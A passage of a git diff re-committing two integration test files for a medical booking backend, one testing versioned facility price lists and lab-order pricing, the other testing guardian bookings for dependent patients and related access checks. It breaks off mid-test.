`prices-owner-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, - }); - ownerActor = { userId: ownerUser.id, role: 'facility', requestId: null }; - const facility = await prisma.facilityProfile.create({ - data: { userId: ownerUser.id, name: 'Aaa Prices Lab', type: 'lab' }, - }); - facilityId = facility.id; - // Issue #14 made a matching FacilityCapability row a condition of being - // eligible at all (fail closed) β€” this file is about pricing, so the - // qualification data is seeded directly rather than re-tested here. - await prisma.facilityCapability.create({ - data: { facilityProfileId: facilityId, capabilityType: 'lab_test', detail: null }, - }); - - const strangerUser = await prisma.user.create({ - data: { email: `prices-stranger-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, - }); - strangerActor = { userId: strangerUser.id, role: 'facility', requestId: null }; - const strangerFacility = await prisma.facilityProfile.create({ - data: { userId: strangerUser.id, name: 'Stranger Pharmacy', type: 'pharmacy' }, - }); - strangerFacilityId = strangerFacility.id; - - const doctorUser = await prisma.user.create({ - data: { email: `prices-doctor-${runId}@example.com`, passwordHash: 'unused', role: 'doctor' }, - }); - doctorActor = { userId: doctorUser.id, role: 'doctor', requestId: null }; - const doctor = await prisma.doctorProfile.create({ - data: { userId: doctorUser.id, fullName: 'Prices Test Doctor', verificationStatus: 'verified' }, - }); - doctorProfileId = doctor.id; - - const startTime = new Date(Date.now() + 60 * MINUTE); - const slot = await prisma.availabilitySlot.create({ - data: { doctorProfileId, startTime, endTime: new Date(startTime.getTime() + 30 * MINUTE) }, - }); - const appointment = await prisma.appointment.create({ - data: { patientProfileId, doctorProfileId, availabilitySlotId: slot.id }, - }); - const consultation = await prisma.consultation.create({ data: { appointmentId: appointment.id } }); - consultationId = consultation.id; - }); - - afterAll(async () => { - await prisma?.$disconnect(); - await pg.stop(); - }); - - const publish = (overrides: Partial<{ catalogItemCode: string; amount: string; effectiveFrom: string }> = {}) => - facilitiesService.createPriceVersion(ownerActor, facilityId, { - catalogItemCode: 'cbc-panel', - amount: '25000000', - effectiveFrom: new Date(Date.now() - MINUTE).toISOString(), - ...overrides, - }); - - it('publishes a version, records an audit event, and keeps history append-only', async () => { - const first = await publish(); - expect(first.amount).toBe(25_000_000n); - expect(first.asset).toBe('native'); - - const audit = await prisma.auditEvent.findFirst({ - where: { entityType: 'FacilityPrice', entityId: first.id, action: 'facility_price.created' }, - }); - expect(audit).not.toBeNull(); - - // Correcting the price publishes a new row; the earlier one is untouched. - const second = await publish({ amount: '30000000', effectiveFrom: new Date(Date.now() - MINUTE + 1000).toISOString() }); - const history = await facilitiesService.listPrices(facilityId, { catalogItemCode: 'cbc-panel' }); - expect(history.map((row) => row.amount)).toEqual(expect.arrayContaining([25_000_000n, 30_000_000n])); - const persistedFirst = await prisma.facilityPrice.findUniqueOrThrow({ where: { id: first.id } }); - expect(persistedFirst.amount).toBe(25_000_000n); - expect(second.id).not.toBe(first.id); - }); - - it('rejects a duplicate effectiveFrom for the same item and asset', async () => { - const when = new Date(Date.now() - 2 * MINUTE).toISOString(); - await publish({ catalogItemCode: 'duplicate-check', effectiveFrom: when }); - await expect(publish({ catalogItemCode: 'duplicate-check', effectiveFrom: when })).rejects.toMatchObject({ status: 409 }); - }); - - it('refuses writes from another facility owner', async () => { - await expect( - facilitiesService.createPriceVersion(strangerActor, facilityId, { catalogItemCode: 'cbc-panel', amount: '1000000' }), - ).rejects.toMatchObject({ status: 403 }); - }); - - it('rejects a zero or fractional amount', async () => { - await expect(publish({ catalogItemCode: 'bad-amount', amount: '0' })).rejects.toMatchObject({ status: 400 }); - await expect(publish({ catalogItemCode: 'bad-amount', amount: '1.5' })).rejects.toMatchObject({ status: 400 }); - }); - - it('resolves the price in force at a timestamp, and null before the first version', async () => { - const now = Date.now(); - const before = await facilitiesService.resolveCurrentPrice(prisma, { - facilityProfileId: facilityId, - catalogItemCode: 'not-yet-priced', - at: new Date(now), - }); - expect(before).toBeNull(); - - await publish({ catalogItemCode: 'future-price', amount: '11111111', effectiveFrom: new Date(now + 60 * MINUTE).toISOString() }); - expect(await facilitiesService.resolveCurrentPrice(prisma, { - facilityProfileId: facilityId, catalogItemCode: 'future-price', at: new Date(now), - })).toBeNull(); - const later = await facilitiesService.resolveCurrentPrice(prisma, { - facilityProfileId: facilityId, catalogItemCode: 'future-price', at: new Date(now + 61 * MINUTE), - }); - expect(later?.amount).toBe(11_111_111n); - }); - - it('eligible facilities expose the current price and "price on request" rather than zero', async () => { - const eligible = await facilitiesService.listEligibleFacilities({ type: 'lab', catalogItemCode: 'cbc-panel' }); - const ours = eligible.find((facility) => facility.facilityId === facilityId); - expect(ours?.price?.amount).toBe(30_000_000n); - expect(ours?.priceOnRequest).toBe(false); - - const unpriced = await facilitiesService.listEligibleFacilities({ type: 'lab', catalogItemCode: 'unpublished-item' }); - const oursUnpriced = unpriced.find((facility) => facility.facilityId === facilityId); - expect(oursUnpriced?.price).toBeNull(); - expect(oursUnpriced?.priceOnRequest).toBe(true); - - // A pharmacy never appears in a lab lookup. - expect(eligible.some((facility) => facility.facilityId === strangerFacilityId)).toBe(false); - }); - - it('prices an issued lab order from the list and snapshots the amount and code', async () => { - const order = await ordersService.issueLabOrder(doctorActor, { - consultationId, - facilityProfileId: facilityId, - catalogItemCode: 'cbc-panel', - testType: 'CBC panel', - urgency: 'routine', - }); - - expect(order.amountStroops).toBe(30_000_000n); - const intent = await prisma.paymentIntent.findUniqueOrThrow({ where: { id: order.paymentIntent.id } }); - expect(intent.amount).toBe(30_000_000n); - expect(intent.catalogItemCode).toBe('cbc-panel'); - expect(intent.facilityId).toBe(facilityId); - - // A later price change must not re-price an existing intent. - await publish({ catalogItemCode: 'cbc-panel', amount: '99000000' }); - const afterChange = await prisma.paymentIntent.findUniqueOrThrow({ where: { id: intent.id } }); - expect(afterChange.amount).toBe(30_000_000n); - expect(afterChange.catalogItemCode).toBe('cbc-panel'); - }); - - it('fails with 422 PRICE_ON_REQUEST and writes no order when no price is published', async () => { - const before = await prisma.labOrder.count(); - await expect( - ordersService.issueLabOrder(doctorActor, { - consultationId, - facilityProfileId: facilityId, - catalogItemCode: 'never-priced', - testType: 'Unpriced panel', - urgency: 'routine', - }), - ).rejects.toMatchObject({ status: 422, code: 'PRICE_ON_REQUEST' }); - expect(await prisma.labOrder.count()).toBe(before); - }); - - it('still supports an explicit amount (legacy manual pricing) with no catalog code', async () => { - const order = await ordersService.issueLabOrder(doctorActor, { - consultationId, - facilityProfileId: facilityId, - amountStroops: 4_200_000n, - testType: 'Manual price panel', - urgency: 'routine', - }); - expect(order.amountStroops).toBe(4_200_000n); - const intent = await prisma.paymentIntent.findUniqueOrThrow({ where: { id: order.paymentIntent.id } }); - expect(intent.amount).toBe(4_200_000n); - expect(intent.catalogItemCode).toBeNull(); - }); -}); +// Facility price lists (Phase 5, issue #127) β€” integration coverage against a +// real Postgres and the module services, not hand-built queries. +// +// What this proves: +// * facility owners publish versioned prices; history is append-only; +// * another facility's owner cannot publish to a facility they do not own; +// * the eligible-facility lookup returns the in-force price, and +// "price on request" when nothing is published (never 0); +// * issuing an order with a catalogItemCode prices it from the facility's +// list and snapshots the amount + code on the PaymentIntent, so a later +// price change does not re-price the intent; +// * no published price β†’ 422 PRICE_ON_REQUEST and no order is written. +// +// Self-contained embedded Postgres on its own port (5448), same pattern as the +// other files in this directory. +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import EmbeddedPostgres from 'embedded-postgres'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5459; // unique per integration file +const runId = Date.now(); +const MINUTE = 60_000; + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-prices-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); + +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_prices_test`; + +describe('facility price lists and intent pricing (issue #127)', () => { + let prisma: typeof import('../../src/db/prisma-client.js').prisma; + let facilitiesService: typeof import('../../src/modules/facilities/services/index.js'); + let ordersService: typeof import('../../src/modules/orders/services/index.js'); + + let ownerActor: { userId: string; role: 'facility'; requestId: null }; + let strangerActor: { userId: string; role: 'facility'; requestId: null }; + let doctorActor: { userId: string; role: 'doctor'; requestId: null }; + let doctorProfileId: string; + let patientProfileId: string; + let facilityId: string; + let strangerFacilityId: string; + let consultationId: string; + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_prices_test'); + + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + // Set before the dynamic imports: config and PrismaClient read + // DATABASE_URL at import time (same ordering note as the other files). + process.env.DATABASE_URL = databaseUrl; + + const dbModule = await import('../../src/db/prisma-client.js'); + prisma = dbModule.prisma; + facilitiesService = await import('../../src/modules/facilities/services/index.js'); + ordersService = await import('../../src/modules/orders/services/index.js'); + + const patientUser = await prisma.user.create({ + data: { email: `prices-patient-${runId}@example.com`, passwordHash: 'unused', role: 'patient' }, + }); + const patient = await prisma.patientProfile.create({ + data: { userId: patientUser.id, fullName: 'Prices Test Patient' }, + }); + patientProfileId = patient.id; + + const ownerUser = await prisma.user.create({ + data: { email: `prices-owner-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, + }); + ownerActor = { userId: ownerUser.id, role: 'facility', requestId: null }; + const facility = await prisma.facilityProfile.create({ + data: { userId: ownerUser.id, name: 'Aaa Prices Lab', type: 'lab' }, + }); + facilityId = facility.id; + // Issue #14 made a matching FacilityCapability row a condition of being + // eligible at all (fail closed) β€” this file is about pricing, so the + // qualification data is seeded directly rather than re-tested here. + await prisma.facilityCapability.create({ + data: { facilityProfileId: facilityId, capabilityType: 'lab_test', detail: null }, + }); + + const strangerUser = await prisma.user.create({ + data: { email: `prices-stranger-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, + }); + strangerActor = { userId: strangerUser.id, role: 'facility', requestId: null }; + const strangerFacility = await prisma.facilityProfile.create({ + data: { userId: strangerUser.id, name: 'Stranger Pharmacy', type: 'pharmacy' }, + }); + strangerFacilityId = strangerFacility.id; + + const doctorUser = await prisma.user.create({ + data: { email: `prices-doctor-${runId}@example.com`, passwordHash: 'unused', role: 'doctor' }, + }); + doctorActor = { userId: doctorUser.id, role: 'doctor', requestId: null }; + const doctor = await prisma.doctorProfile.create({ + data: { userId: doctorUser.id, fullName: 'Prices Test Doctor', verificationStatus: 'verified' }, + }); + doctorProfileId = doctor.id; + + const startTime = new Date(Date.now() + 60 * MINUTE); + const slot = await prisma.availabilitySlot.create({ + data: { doctorProfileId, startTime, endTime: new Date(startTime.getTime() + 30 * MINUTE) }, + }); + const appointment = await prisma.appointment.create({ + data: { patientProfileId, doctorProfileId, availabilitySlotId: slot.id }, + }); + const consultation = await prisma.consultation.create({ data: { appointmentId: appointment.id } }); + consultationId = consultation.id; + }); + + afterAll(async () => { + await prisma?.$disconnect(); + await pg.stop(); + }); + + const publish = (overrides: Partial<{ catalogItemCode: string; amount: string; effectiveFrom: string }> = {}) => + facilitiesService.createPriceVersion(ownerActor, facilityId, { + catalogItemCode: 'cbc-panel', + amount: '25000000', + effectiveFrom: new Date(Date.now() - MINUTE).toISOString(), + ...overrides, + }); + + it('publishes a version, records an audit event, and keeps history append-only', async () => { + const first = await publish(); + expect(first.amount).toBe(25_000_000n); + expect(first.asset).toBe('native'); + + const audit = await prisma.auditEvent.findFirst({ + where: { entityType: 'FacilityPrice', entityId: first.id, action: 'facility_price.created' }, + }); + expect(audit).not.toBeNull(); + + // Correcting the price publishes a new row; the earlier one is untouched. + const second = await publish({ amount: '30000000', effectiveFrom: new Date(Date.now() - MINUTE + 1000).toISOString() }); + const history = await facilitiesService.listPrices(facilityId, { catalogItemCode: 'cbc-panel' }); + expect(history.map((row) => row.amount)).toEqual(expect.arrayContaining([25_000_000n, 30_000_000n])); + const persistedFirst = await prisma.facilityPrice.findUniqueOrThrow({ where: { id: first.id } }); + expect(persistedFirst.amount).toBe(25_000_000n); + expect(second.id).not.toBe(first.id); + }); + + it('rejects a duplicate effectiveFrom for the same item and asset', async () => { + const when = new Date(Date.now() - 2 * MINUTE).toISOString(); + await publish({ catalogItemCode: 'duplicate-check', effectiveFrom: when }); + await expect(publish({ catalogItemCode: 'duplicate-check', effectiveFrom: when })).rejects.toMatchObject({ status: 409 }); + }); + + it('refuses writes from another facility owner', async () => { + await expect( + facilitiesService.createPriceVersion(strangerActor, facilityId, { catalogItemCode: 'cbc-panel', amount: '1000000' }), + ).rejects.toMatchObject({ status: 403 }); + }); + + it('rejects a zero or fractional amount', async () => { + await expect(publish({ catalogItemCode: 'bad-amount', amount: '0' })).rejects.toMatchObject({ status: 400 }); + await expect(publish({ catalogItemCode: 'bad-amount', amount: '1.5' })).rejects.toMatchObject({ status: 400 }); + }); + + it('resolves the price in force at a timestamp, and null before the first version', async () => { + const now = Date.now(); + const before = await facilitiesService.resolveCurrentPrice(prisma, { + facilityProfileId: facilityId, + catalogItemCode: 'not-yet-priced', + at: new Date(now), + }); + expect(before).toBeNull(); + + await publish({ catalogItemCode: 'future-price', amount: '11111111', effectiveFrom: new Date(now + 60 * MINUTE).toISOString() }); + expect(await facilitiesService.resolveCurrentPrice(prisma, { + facilityProfileId: facilityId, catalogItemCode: 'future-price', at: new Date(now), + })).toBeNull(); + const later = await facilitiesService.resolveCurrentPrice(prisma, { + facilityProfileId: facilityId, catalogItemCode: 'future-price', at: new Date(now + 61 * MINUTE), + }); + expect(later?.amount).toBe(11_111_111n); + }); + + it('eligible facilities expose the current price and "price on request" rather than zero', async () => { + const eligible = await facilitiesService.listEligibleFacilities({ type: 'lab', catalogItemCode: 'cbc-panel' }); + const ours = eligible.find((facility) => facility.facilityId === facilityId); + expect(ours?.price?.amount).toBe(30_000_000n); + expect(ours?.priceOnRequest).toBe(false); + + const unpriced = await facilitiesService.listEligibleFacilities({ type: 'lab', catalogItemCode: 'unpublished-item' }); + const oursUnpriced = unpriced.find((facility) => facility.facilityId === facilityId); + expect(oursUnpriced?.price).toBeNull(); + expect(oursUnpriced?.priceOnRequest).toBe(true); + + // A pharmacy never appears in a lab lookup. + expect(eligible.some((facility) => facility.facilityId === strangerFacilityId)).toBe(false); + }); + + it('prices an issued lab order from the list and snapshots the amount and code', async () => { + const order = await ordersService.issueLabOrder(doctorActor, { + consultationId, + facilityProfileId: facilityId, + catalogItemCode: 'cbc-panel', + testType: 'CBC panel', + urgency: 'routine', + }); + + expect(order.amountStroops).toBe(30_000_000n); + const intent = await prisma.paymentIntent.findUniqueOrThrow({ where: { id: order.paymentIntent.id } }); + expect(intent.amount).toBe(30_000_000n); + expect(intent.catalogItemCode).toBe('cbc-panel'); + expect(intent.facilityId).toBe(facilityId); + + // A later price change must not re-price an existing intent. + await publish({ catalogItemCode: 'cbc-panel', amount: '99000000' }); + const afterChange = await prisma.paymentIntent.findUniqueOrThrow({ where: { id: intent.id } }); + expect(afterChange.amount).toBe(30_000_000n); + expect(afterChange.catalogItemCode).toBe('cbc-panel'); + }); + + it('fails with 422 PRICE_ON_REQUEST and writes no order when no price is published', async () => { + const before = await prisma.labOrder.count(); + await expect( + ordersService.issueLabOrder(doctorActor, { + consultationId, + facilityProfileId: facilityId, + catalogItemCode: 'never-priced', + testType: 'Unpriced panel', + urgency: 'routine', + }), + ).rejects.toMatchObject({ status: 422, code: 'PRICE_ON_REQUEST' }); + expect(await prisma.labOrder.count()).toBe(before); + }); + + it('still supports an explicit amount (legacy manual pricing) with no catalog code', async () => { + const order = await ordersService.issueLabOrder(doctorActor, { + consultationId, + facilityProfileId: facilityId, + amountStroops: 4_200_000n, + testType: 'Manual price panel', + urgency: 'routine', + }); + expect(order.amountStroops).toBe(4_200_000n); + const intent = await prisma.paymentIntent.findUniqueOrThrow({ where: { id: order.paymentIntent.id } }); + expect(intent.amount).toBe(4_200_000n); + expect(intent.catalogItemCode).toBeNull(); + }); +}); diff --git a/backend/tests/integration/guardianship.test.mts b/backend/tests/integration/guardianship.test.mts index 59d84aee..2026395a 100644 --- a/backend/tests/integration/guardianship.test.mts +++ b/backend/tests/integration/guardianship.test.mts @@ -1,408 +1,408 @@ -// Integration tests for guardians and dependents (Phase 8, issue #42, -// docs/adr/0011): creating and listing dependents, booking on a -// dependent's behalf, refusing someone else's dependent before anything is -// booked, revocation and age of majority, the DB constraints, the -// migration's data-preservation guard β€” and the booking concurrency -// guarantee re-proven with a guardian booking in the race. Self-contained, -// same embedded-Postgres pattern as booking.test.mts. Own port (5454). -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import EmbeddedPostgres from 'embedded-postgres'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const MIGRATIONS_DIR = path.join(BACKEND_ROOT, 'prisma', 'migrations'); -const PORT = 5454; -const runId = Date.now(); - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-guardian-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); -const urlFor = (db: string) => `postgresql://docforum:docforum@localhost:${PORT}/${db}`; -const databaseUrl = urlFor('docforum_test'); - -type App = ReturnType; -type Prisma = typeof import('../../src/db/prisma-client.js').prisma; - -interface Patient { - email: string; - userId: string; - profileId: string; - token: string; -} - -const emailedTokens = new Map(); - -function yearsAgo(years: number, days = 0): string { - const now = new Date(); - const d = new Date(Date.UTC(now.getUTCFullYear() - years, now.getUTCMonth(), now.getUTCDate() - days)); - return d.toISOString().slice(0, 10); -} - -// Prisma 7 (ADR 0006) dropped `db execute --url`: the CLI reads the URL from -// prisma.config.ts, i.e. from DATABASE_URL, so the target goes in the env. -function dbExecute(url: string, sql: string) { - execFileSync('npx', ['prisma', 'db', 'execute', '--stdin'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: url }, - input: sql, - stdio: ['pipe', 'pipe', 'pipe'], - }); -} - -function dbExecuteFile(url: string, file: string) { - execFileSync('npx', ['prisma', 'db', 'execute', '--file', file], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: url }, - stdio: 'pipe', - }); -} - -describe('guardian and dependent profiles', () => { - let app: App; - let prisma: Prisma; - let doctorToken: string; - let doctorProfileId: string; - let g1: Patient; // guardian with dependents - let g2: Patient; // another guardian - let adult: Patient; // ordinary patient, no dependents - let unverified: Patient; - let d1: string; // g1's dependent - let d2: string; // g2's dependent - const freeSlots: string[] = []; - - async function signup(role: 'patient' | 'doctor', label: string, verify = true) { - const email = `${label}-${runId}@example.com`; - const res = await request(app).post('/auth/signup').send({ role, email, password: 'longenough123', fullName: `${label} Fullname` }); - expect(res.status).toBe(200); - if (verify) expect((await request(app).post('/auth/verify-email').send({ token: emailedTokens.get(email) })).status).toBe(200); - return { email, userId: res.body.user.id as string, token: res.body.accessToken as string }; - } - - async function signupPatient(label: string, verify = true): Promise { - const user = await signup('patient', label, verify); - const profile = await prisma.patientProfile.findUniqueOrThrow({ where: { userId: user.userId } }); - return { ...user, profileId: profile.id }; - } - - const auth = (p: { token: string }) => ({ Authorization: `Bearer ${p.token}` }); - const createDependent = (p: Patient, body: object) => request(app).post('/patients/me/dependents').set(auth(p)).send(body); - const book = (p: Patient, body: object) => request(app).post('/appointments').set(auth(p)).send(body); - const nextSlot = () => { - const slot = freeSlots.shift(); - if (!slot) throw new Error('test ran out of slots'); - return slot; - }; - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_test'); - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - process.env.DATABASE_URL = databaseUrl; - process.env.AGE_OF_MAJORITY_YEARS = '18'; - - const appModule = await import('../../src/app.js'); - const dbModule = await import('../../src/db/prisma-client.js'); - const authServices = await import('../../src/modules/auth/services/index.js'); - app = appModule.createApp(); - prisma = dbModule.prisma; - authServices.setEmailSender(async (message) => { - const match = /[?&]token=([^&\s]+)/.exec(message.text); - if (match) emailedTokens.set(message.to, decodeURIComponent(match[1])); - }); - - const doctor = await signup('doctor', 'guardian-doctor'); - doctorToken = doctor.token; - doctorProfileId = (await prisma.doctorProfile.findUniqueOrThrow({ where: { userId: doctor.userId } })).id; - const tomorrow = new Date(Date.now() + 24 * 60 * 60 * 1000).toISOString().slice(0, 10); - const generated = await request(app) - .post(`/availability/doctors/${doctorProfileId}/slots/generate`) - .set('Authorization', `Bearer ${doctorToken}`) - .send({ date: tomorrow, startHour: 8, endHour: 18, slotLengthMinutes: 30 }); - expect(generated.status).toBe(201); - freeSlots.push(...((await request(app).get(`/availability/doctors/${doctorProfileId}/slots`)).body as { id: string }[]).map((s) => s.id)); - - g1 = await signupPatient('guardian-one'); - g2 = await signupPatient('guardian-two'); - adult = await signupPatient('adult'); - unverified = await signupPatient('unverified', false); - }, 180_000); - - afterAll(async () => { - const authServices = await import('../../src/modules/auth/services/index.js'); - authServices.resetEmailSender(); - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - it('lets a patient create a dependent: a login-less profile plus a guardianship', async () => { - const res = await createDependent(g1, { fullName: 'Child One', dateOfBirth: yearsAgo(6) }); - expect(res.status).toBe(201); - expect(res.body).toMatchObject({ fullName: 'Child One', dateOfBirth: `${yearsAgo(6)}T00:00:00.000Z` }); - expect(Object.keys(res.body).sort()).toEqual(['dateOfBirth', 'fullName', 'guardianSince', 'id']); - d1 = res.body.id; - - const profile = await prisma.patientProfile.findUniqueOrThrow({ where: { id: d1 } }); - expect(profile.userId).toBeNull(); - const guardianships = await prisma.guardianship.findMany({ where: { dependentProfileId: d1 } }); - expect(guardianships).toEqual([expect.objectContaining({ guardianUserId: g1.userId, revokedAt: null })]); - - const other = await createDependent(g2, { fullName: 'Child Two', dateOfBirth: yearsAgo(10) }); - expect(other.status).toBe(201); - d2 = other.body.id; - }); - - it('refuses unauthorised or invalid dependent creation, and never links an existing profile', async () => { - const before = await prisma.guardianship.count(); - // Linking attempts: naming an existing profile/user is rejected outright. - for (const extra of [{ patientProfileId: adult.profileId }, { userId: adult.userId }, { patientProfileId: d2 }]) { - const res = await createDependent(g1, { fullName: 'Sneaky', dateOfBirth: yearsAgo(5), ...extra }); - expect(res.status).toBe(400); - } - expect(await prisma.guardianship.count({ where: { dependentProfileId: { in: [adult.profileId, d2] }, guardianUserId: g1.userId } })).toBe(0); - - const adultDob = await createDependent(g1, { fullName: 'Grown Up', dateOfBirth: yearsAgo(18) }); - expect(adultDob.status).toBe(400); - expect(adultDob.body.code).toBe('DEPENDENT_NOT_A_MINOR'); - expect((await createDependent(g1, { fullName: 'Future', dateOfBirth: '2999-01-01' })).status).toBe(400); - expect((await createDependent(g1, { fullName: 'Bad', dateOfBirth: '2020-02-30' })).status).toBe(400); - expect((await createDependent(g1, { dateOfBirth: yearsAgo(3) })).status).toBe(400); - - const doctor = await request(app).post('/patients/me/dependents').set('Authorization', `Bearer ${doctorToken}`).send({ fullName: 'X', dateOfBirth: yearsAgo(3) }); - expect(doctor.status).toBe(403); - const unverifiedRes = await createDependent(unverified, { fullName: 'X', dateOfBirth: yearsAgo(3) }); - expect(unverifiedRes.status).toBe(403); - expect(unverifiedRes.body.code).toBe('EMAIL_NOT_VERIFIED'); - expect((await request(app).post('/patients/me/dependents').send({ fullName: 'X', dateOfBirth: yearsAgo(3) })).status).toBe(401); - - // One day short of majority is still a minor. - const almost = await createDependent(g1, { fullName: 'Almost Adult', dateOfBirth: yearsAgo(18, -1) }); - expect(almost.status).toBe(201); - expect(await prisma.guardianship.count()).toBe(before + 1); - }); - - it("lists only the caller's own active dependents", async () => { - const mine = await request(app).get('/patients/me/dependents').set(auth(g1)); - expect(mine.status).toBe(200); - expect(mine.body.map((d: { fullName: string }) => d.fullName)).toEqual(['Child One', 'Almost Adult']); - const theirs = await request(app).get('/patients/me/dependents').set(auth(g2)); - expect(theirs.body.map((d: { id: string }) => d.id)).toEqual([d2]); - expect((await request(app).get('/patients/me/dependents').set(auth(adult))).body).toEqual([]); - expect((await request(app).get('/patients/me/dependents').set('Authorization', `Bearer ${doctorToken}`)).status).toBe(403); - }); - - it('lets a guardian book for their dependent and see that appointment', async () => { - const slot = nextSlot(); - const res = await book(g1, { availabilitySlotId: slot, patientProfileId: d1 }); - expect(res.status).toBe(201); - expect(res.body.patientProfileId).toBe(d1); - - // Audit (issue #43): the guardian is the actor; the event names the - // dependent's profile the appointment was booked for. - const event = await prisma.auditEvent.findFirstOrThrow({ where: { entityType: 'Appointment', entityId: res.body.id } }); - expect(event).toMatchObject({ actorUserId: g1.userId, actorRole: 'patient', action: 'appointment.booked', toState: 'scheduled' }); - expect(event.metadata).toMatchObject({ patientProfileId: d1, availabilitySlotId: slot }); - - const dependentAppointments = await request(app).get(`/appointments/mine?patientProfileId=${d1}`).set(auth(g1)); - expect(dependentAppointments.status).toBe(200); - expect(dependentAppointments.body.map((a: { id: string }) => a.id)).toEqual([res.body.id]); - // The guardian's own list is the guardian's own history only. - const own = await request(app).get('/appointments/mine').set(auth(g1)); - expect(own.body).toEqual([]); - }); - - it("refuses another guardian's dependent, or another patient, before anything is booked", async () => { - for (const target of [d2, adult.profileId]) { - const slot = nextSlot(); - const res = await book(g1, { availabilitySlotId: slot, patientProfileId: target }); - expect(res.status).toBe(404); - // Rejected before the booking ran: the slot is still open, no appointment exists. - expect((await prisma.availabilitySlot.findUniqueOrThrow({ where: { id: slot } })).status).toBe('open'); - expect(await prisma.appointment.count({ where: { availabilitySlotId: slot } })).toBe(0); - freeSlots.unshift(slot); - } - expect((await request(app).get(`/appointments/mine?patientProfileId=${d2}`).set(auth(g1))).status).toBe(404); - expect(await prisma.appointment.count({ where: { patientProfileId: { in: [d2, adult.profileId] } } })).toBe(0); - }); - - it('keeps self-booking working, with or without naming your own profile', async () => { - const plain = await book(adult, { availabilitySlotId: nextSlot() }); - expect(plain.status).toBe(201); - expect(plain.body.patientProfileId).toBe(adult.profileId); - const named = await book(adult, { availabilitySlotId: nextSlot(), patientProfileId: adult.profileId }); - expect(named.status).toBe(201); - expect(named.body.patientProfileId).toBe(adult.profileId); - expect((await request(app).get('/appointments/mine').set(auth(adult))).body).toHaveLength(2); - }); - - it('rejects a missing, empty or unknown patientProfileId cleanly', async () => { - const slot = nextSlot(); - expect((await book(g1, { availabilitySlotId: slot, patientProfileId: '' })).status).toBe(400); - expect((await book(g1, { availabilitySlotId: slot, patientProfileId: '00000000-0000-0000-0000-000000000000' })).status).toBe(404); - expect((await book(g1, { patientProfileId: d1 })).status).toBe(400); - expect((await prisma.availabilitySlot.findUniqueOrThrow({ where: { id: slot } })).status).toBe('open'); - freeSlots.unshift(slot); - }); - - it('ends access on revocation and at the age of majority, keeping the history', async () => { - // Revoked guardianship. - const revokedChild = await createDependent(g1, { fullName: 'Revoked Child', dateOfBirth: yearsAgo(8) }); - await prisma.guardianship.updateMany({ where: { dependentProfileId: revokedChild.body.id }, data: { revokedAt: new Date() } }); - const revokedBooking = await book(g1, { availabilitySlotId: nextSlot(), patientProfileId: revokedChild.body.id }); - expect(revokedBooking.status).toBe(403); - expect(revokedBooking.body.code).toBe('GUARDIANSHIP_INACTIVE'); - - // Reaching majority: D1 (who has an appointment) turns 18. - await prisma.patientProfile.update({ where: { id: d1 }, data: { dateOfBirth: new Date(`${yearsAgo(18)}T00:00:00.000Z`) } }); - const adultBooking = await book(g1, { availabilitySlotId: nextSlot(), patientProfileId: d1 }); - expect(adultBooking.status).toBe(403); - expect(adultBooking.body.code).toBe('GUARDIANSHIP_INACTIVE'); - expect((await request(app).get(`/appointments/mine?patientProfileId=${d1}`).set(auth(g1))).status).toBe(403); - - const listed = (await request(app).get('/patients/me/dependents').set(auth(g1))).body.map((d: { id: string }) => d.id); - expect(listed).not.toContain(d1); - expect(listed).not.toContain(revokedChild.body.id); - - // Clinical history and the guardianship record are kept, not deleted. - expect(await prisma.appointment.count({ where: { patientProfileId: d1 } })).toBe(1); - expect(await prisma.guardianship.count({ where: { dependentProfileId: { in: [d1, revokedChild.body.id] } } })).toBe(2); - }); - - it('enforces the model in the database: unique pair, dependent DOB, RESTRICT', async () => { - await expect( - prisma.guardianship.create({ data: { guardianUserId: g2.userId, dependentProfileId: d2 } }), - ).rejects.toMatchObject({ code: 'P2002' }); - await expect(prisma.patientProfile.create({ data: { userId: null, fullName: 'No DOB' } })).rejects.toThrow( - /PatientProfile_dependent_has_dob/, - ); - await expect(prisma.patientProfile.delete({ where: { id: d2 } })).rejects.toThrow(/Guardianship_dependentProfileId_fkey/); - }); - - it('keeps the booking concurrency guarantee with a guardian booking in the race', async () => { - const racers = await Promise.all(Array.from({ length: 6 }, (_, i) => signupPatient(`racer-${i}`))); - const child = await createDependent(g2, { fullName: 'Race Child', dateOfBirth: yearsAgo(4) }); - expect(child.status).toBe(201); - const slot = nextSlot(); - - const responses = await Promise.all([ - book(g2, { availabilitySlotId: slot, patientProfileId: child.body.id }), - ...racers.map((racer) => book(racer, { availabilitySlotId: slot })), - ]); - expect(responses.filter((r) => r.status === 201)).toHaveLength(1); - expect(responses.filter((r) => r.status === 409)).toHaveLength(racers.length); - expect(await prisma.appointment.count({ where: { 